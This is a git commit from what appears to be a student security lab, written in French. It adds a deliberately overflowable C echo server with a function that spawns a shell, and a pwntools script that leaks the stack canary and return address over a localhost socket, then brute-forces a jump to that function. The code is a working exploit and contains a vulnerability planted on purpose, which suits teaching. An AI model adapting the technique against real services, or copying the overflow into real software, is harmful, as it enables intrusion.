Attaque blind ROP

This commit is contained in:
Yohan Simard 2021-04-27 18:40:37 +02:00
parent 32cd3068f3
commit 83ace6d5af
3 changed files with 132 additions and 0 deletions

26
attaque_brop/README.md Normal file
View file

@ -0,0 +1,26 @@
# Attaque "blind ROP"
## Instructions
### Compilation du programme vulnérable :
`gcc echo.c -o echo`
### Installation du module python pwn
`pip install pwn`
### Lancement du programme vulnérable en le liant à un port tcp
`socat -v tcp-l:31337,fork exec:'./echo'`
### Attaque
`python3 attaque.py`
On peut ajouter `DEBUG` en paramètre pour voir les données envoyées
et reçues.
## Résultats
On peut exécuter la fonction C `brop()` en écrasant l'adresse
de retour par son adresse. Pour cela, on récupère d'abord le canary,
puis la véritable adresse de retour. On peut ensuite écraser le
canary et rbp par leur valeur, puis l'addresse de retour par sa
valeur + un offset, et ce jusqu'à trouver `brop()`.
On voit qu'on arrive à exécuter des instructions qui appartiennent
à `brop()`, car on voit le print "brop".

68
attaque_brop/attaque.py Normal file
View file

@ -0,0 +1,68 @@
from pwn import *
p = connect("127.0.0.1", 31337)
p.send(b'h')
time.sleep(0.2)
first_recv = p.recv(numb=10000, timeout=1)
print(first_recv)
payload = b"A" * 4
# Leak the canary
p.send(payload + b'\x01')
time.sleep(0.2)
leak = p.recv().strip(payload)
print("leak = " + leak.hex(' '))
# Extract canary from the leak
stack_canary = b'\x00' + leak[1:8]
print("canary = " + stack_canary.hex(' '))
# overwrite it with the same value to check that it is correct
p.send(payload + stack_canary)
time.sleep(0.2)
received = p.recv()
if received != payload:
print("[!] Failed to leak stack canary")
exit(1)
print(f"[+] Stack canary is 0x{stack_canary.hex()}")
# Guess the program base address
# First address
p.send(payload + b"A" * 8)
time.sleep(0.2)
leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
print(len(leak))
rbp = leak + b"\x00" * (8 - len(leak))
print(hex(int.from_bytes(rbp, "little", signed=False)))
# Second address
p.send(payload + b"A" * 16)
time.sleep(0.2)
leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
print(len(leak))
if len(leak) == 5:
retAddress = b"\x00" + leak + b"\x00" * (7 - len(leak))
else:
retAddress = leak + b"\x00" * (8 - len(leak))
print(hex(int.from_bytes(retAddress, "little", signed=False)))
# iterator = iter(range(0x1000))
for offset in range(70, 150):
testedAddr = (int.from_bytes(retAddress, "little") - offset).to_bytes(8, "little")
print(f"----- testing address {hex(int.from_bytes(testedAddr, 'little', signed=False))} ------")
p.send(payload + stack_canary + rbp + testedAddr) # + b"A" * 128)
time.sleep(0.2)
received = p.recv(timeout=0.5)
print(received)
if received.find(b"brop") != -1:
print("#######################")
#
# 7ffe388f02c0
# 55f8236e12aa

38
attaque_brop/echo.c Normal file
View file

@ -0,0 +1,38 @@
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
int echo_service(){
char x[4];
read(0, x, 50);
printf("%s", x);
fflush(stdout);
return 0;
}
void brop() {
system("/bin/sh");
printf("brop");
fflush(stdout);
}
int main(void) {
printf("%p\n", &main);
printf("%p\n", &brop);
printf("%lu\n", (unsigned long)&main - (unsigned long)&brop);
fflush(stdout);
while(1) {
if (fork() == 0) {
echo_service();
return 0;
}
int status;
wait(&status);
if (status != 0) {
puts("You broke the internet!");
fflush(stdout);
}
}
return 0;
}